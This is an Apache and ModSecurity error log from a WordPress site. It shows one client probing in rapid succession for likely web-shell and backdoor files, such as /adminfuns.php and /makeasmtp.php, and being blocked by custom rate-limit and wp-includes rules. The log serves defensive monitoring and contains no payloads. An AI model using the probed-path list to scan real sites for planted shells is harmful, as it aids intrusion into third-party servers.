[Thu May 07 06:24:06.785427 2026] [:error] [pid 29607:tid 29672] [client 172.202.74.222:29814] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "afu_hqbP7TJOAh7WSUN18gAAAIQ"]
[Thu May 07 06:24:07.167864 2026] [:error] [pid 29605:tid 29629] [client 172.202.74.222:29868] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "afu_h4nxrTjETioEY0TrNgAAAA8"]
[Thu May 07 06:24:07.617514 2026] [:error] [pid 29605:tid 29636] [client 172.202.74.222:29776] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "afu_h4nxrTjETioEY0TrOAAAABY"]
[Thu May 07 06:24:08.039418 2026] [:error] [pid 29605:tid 29624] [client 172.202.74.222:29887] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8xyz.php"] [unique_id "afu_iInxrTjETioEY0TrOgAAAAo"]
[Thu May 07 06:24:08.423310 2026] [:error] [pid 29607:tid 29690] [client 172.202.74.222:29775] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afu_iKbP7TJOAh7WSUN1-AAAAJY"]
[Thu May 07 06:24:08.838490 2026] [:error] [pid 29607:tid 29684] [client 172.202.74.222:29909] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afu_iKbP7TJOAh7WSUN1-wAAAJA"]
[Thu May 07 06:24:09.218734 2026] [:error] [pid 29607:tid 29675] [client 172.202.74.222:29884] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afu_iabP7TJOAh7WSUN1_QAAAIc"]
[Thu May 07 06:24:09.647800 2026] [:error] [pid 29607:tid 29669] [client 172.202.74.222:30075] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "afu_iabP7TJOAh7WSUN2AAAAAIE"]
[Thu May 07 06:24:10.098408 2026] [:error] [pid 29606:tid 29654] [client 172.202.74.222:29797] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "afu_ihR5HjZ1PlSAiKtt9wAAAE0"]
[Thu May 07 06:24:10.482894 2026] [:error] [pid 29606:tid 29663] [client 172.202.74.222:29867] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "afu_ihR5HjZ1PlSAiKtt-wAAAFY"]
[Thu May 07 06:24:10.878727 2026] [:error] [pid 29605:tid 29614] [client 172.202.74.222:29951] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "afu_ionxrTjETioEY0TrPgAAAAA"]
[Thu May 07 06:24:11.270768 2026] [:error] [pid 29607:tid 29670] [client 172.202.74.222:29869] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "afu_i6bP7TJOAh7WSUN2BgAAAII"]
[Thu May 07 06:24:11.665468 2026] [:error] [pid 29710:tid 29735] [client 172.202.74.222:29793] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afu_i_0atTQld9Y2ht_wJgAAANc"]
[Thu May 07 06:24:12.067785 2026] [:error] [pid 29710:tid 29722] [client 172.202.74.222:29721] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afu_jP0atTQld9Y2ht_wLAAAAMo"]
[Thu May 07 06:24:12.485623 2026] [:error] [pid 29710:tid 29719] [client 172.202.74.222:29939] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afu_jP0atTQld9Y2ht_wNAAAAMc"]
[Thu May 07 06:24:12.947120 2026] [:error] [pid 29605:tid 29636] [client 172.202.74.222:29824] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "afu_jInxrTjETioEY0TrRgAAABY"]
[Thu May 07 06:24:13.350838 2026] [:error] [pid 29607:tid 29676] [client 172.202.74.222:29786] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "afu_jabP7TJOAh7WSUN2CgAAAIg"]
[Thu May 07 06:24:13.731061 2026] [:error] [pid 29710:tid 29721] [client 172.202.74.222:29990] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "afu_jf0atTQld9Y2ht_wQwAAAMk"]
[Thu May 07 06:24:14.206997 2026] [:error] [pid 29606:tid 29643] [client 172.202.74.222:29773] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "afu_jhR5HjZ1PlSAiKtt_wAAAEI"]
[Thu May 07 06:24:14.606253 2026] [:error] [pid 4539:tid 4547] [client 172.202.74.222:29702] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "afu_joPEZE1565sDGnw-TwAAAQY"]
[Thu May 07 06:24:14.983017 2026] [:error] [pid 4539:tid 4562] [client 172.202.74.222:29788] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "afu_joPEZE1565sDGnw-UgAAARU"]
[Thu May 07 06:24:15.395130 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:29645] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "afu_j4PEZE1565sDGnw-VgAAAQg"]
[Thu May 07 06:24:15.792898 2026] [:error] [pid 4539:tid 4558] [client 172.202.74.222:29772] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "afu_j4PEZE1565sDGnw-WQAAARE"]
[Thu May 07 06:24:16.182105 2026] [:error] [pid 4539:tid 4559] [client 172.202.74.222:29844] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "afu_kIPEZE1565sDGnw-WgAAARI"]
[Thu May 07 06:24:16.616350 2026] [:error] [pid 29605:tid 29616] [client 172.202.74.222:29710] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "afu_kInxrTjETioEY0TrSQAAAAI"]
[Thu May 07 06:24:17.053990 2026] [:error] [pid 4539:tid 4551] [client 172.202.74.222:29747] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "afu_kYPEZE1565sDGnw-XQAAAQo"]
[Thu May 07 06:24:17.458439 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:29709] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "afu_kYPEZE1565sDGnw-XwAAAQw"]
[Thu May 07 06:24:17.843249 2026] [:error] [pid 29607:tid 29690] [client 172.202.74.222:29784] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "afu_kabP7TJOAh7WSUN2EQAAAJY"]
[Thu May 07 06:24:18.240855 2026] [:error] [pid 4539:tid 4556] [client 172.202.74.222:29760] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afu_koPEZE1565sDGnw-YwAAAQ8"]
[Thu May 07 06:24:18.627833 2026] [:error] [pid 29710:tid 29727] [client 172.202.74.222:29771] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afu_kv0atTQld9Y2ht_wXAAAAM8"]
[Thu May 07 06:24:19.042492 2026] [:error] [pid 29606:tid 29664] [client 172.202.74.222:29883] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afu_kxR5HjZ1PlSAiKtuBAAAAFc"]
[Thu May 07 06:24:19.446670 2026] [:error] [pid 29606:tid 29656] [client 172.202.74.222:29770] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afu_kxR5HjZ1PlSAiKtuBgAAAE8"]
[Thu May 07 06:24:19.890830 2026] [:error] [pid 4539:tid 4560] [client 172.202.74.222:29792] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "afu_k4PEZE1565sDGnw-ZwAAARM"]
[Thu May 07 06:24:20.270254 2026] [:error] [pid 4539:tid 4548] [client 172.202.74.222:29812] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "afu_lIPEZE1565sDGnw-aAAAAQc"]
[Thu May 07 06:24:20.650810 2026] [:error] [pid 29710:tid 29730] [client 172.202.74.222:29817] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "afu_lP0atTQld9Y2ht_wawAAANI"]
[Thu May 07 06:24:21.028398 2026] [:error] [pid 29607:tid 29669] [client 172.202.74.222:29763] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "afu_labP7TJOAh7WSUN2FAAAAIE"]
[Thu May 07 06:24:21.433419 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:29818] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "afu_lYPEZE1565sDGnw-bQAAAQw"]
[Thu May 07 06:24:21.838837 2026] [:error] [pid 4539:tid 4556] [client 172.202.74.222:29697] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "afu_lYPEZE1565sDGnw-bgAAAQ8"]
[Thu May 07 06:24:22.219754 2026] [:error] [pid 4539:tid 4557] [client 172.202.74.222:29871] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "afu_loPEZE1565sDGnw-cAAAARA"]
[Thu May 07 06:24:22.646678 2026] [:error] [pid 4539:tid 4548] [client 172.202.74.222:29810] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin1.php"] [unique_id "afu_loPEZE1565sDGnw-cwAAAQc"]
[Thu May 07 06:24:23.069289 2026] [:error] [pid 4539:tid 4547] [client 172.202.74.222:29794] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "afu_l4PEZE1565sDGnw-dAAAAQY"]
[Thu May 07 06:24:23.472970 2026] [:error] [pid 29710:tid 29735] [client 172.202.74.222:29805] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "afu_l_0atTQld9Y2ht_wggAAANc"]
[Thu May 07 06:24:23.889253 2026] [:error] [pid 4539:tid 4546] [client 172.202.74.222:29804] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "afu_l4PEZE1565sDGnw-dwAAAQU"]
[Thu May 07 06:24:24.274916 2026] [:error] [pid 29710:tid 29729] [client 172.202.74.222:29790] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "afu_mP0atTQld9Y2ht_wigAAANE"]
[Thu May 07 06:24:24.718653 2026] [:error] [pid 4539:tid 4560] [client 172.202.74.222:29819] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "afu_mIPEZE1565sDGnw-fQAAARM"]
[Thu May 07 06:24:26.691834 2026] [autoindex:error] [pid 4539:tid 4542] [client 172.202.74.222:29882] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu May 07 06:24:31.693991 2026] [autoindex:error] [pid 4539:tid 4558] [client 172.202.74.222:29882] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/02/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu May 07 06:24:37.167078 2026] [:error] [pid 4539:tid 4542] [client 172.202.74.222:29882] [client 172.202.74.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "afu_pYPEZE1565sDGnw-2QAAAQE"]
[Thu May 07 06:24:43.217525 2026] [autoindex:error] [pid 29606:tid 29643] [client 172.202.74.222:29811] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu May 07 06:24:43.410015 2026] [autoindex:error] [pid 29606:tid 29653] [client 172.202.74.222:29811] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu May 07 06:24:45.878580 2026] [:error] [pid 29606:tid 29647] [client 172.202.74.222:29811] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "afu_rRR5HjZ1PlSAiKtuKgAAAEY"]
[Thu May 07 06:24:46.268335 2026] [:error] [pid 29710:tid 29720] [client 172.202.74.222:29799] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "afu_rv0atTQld9Y2ht_wzAAAAMg"]
[Thu May 07 06:24:46.651000 2026] [:error] [pid 4539:tid 4541] [client 172.202.74.222:29816] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "afu_roPEZE1565sDGnw_GwAAAQA"]
[Thu May 07 06:24:47.112144 2026] [:error] [pid 29710:tid 29724] [client 172.202.74.222:29720] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gssdd.php"] [unique_id "afu_r_0atTQld9Y2ht_wzwAAAMw"]
[Thu May 07 06:24:47.525391 2026] [:error] [pid 29607:tid 29677] [client 172.202.74.222:29997] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "afu_r6bP7TJOAh7WSUN2OgAAAIk"]
[Thu May 07 06:24:47.954564 2026] [:error] [pid 29607:tid 29674] [client 172.202.74.222:29857] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/admin.php"] [unique_id "afu_r6bP7TJOAh7WSUN2OwAAAIY"]
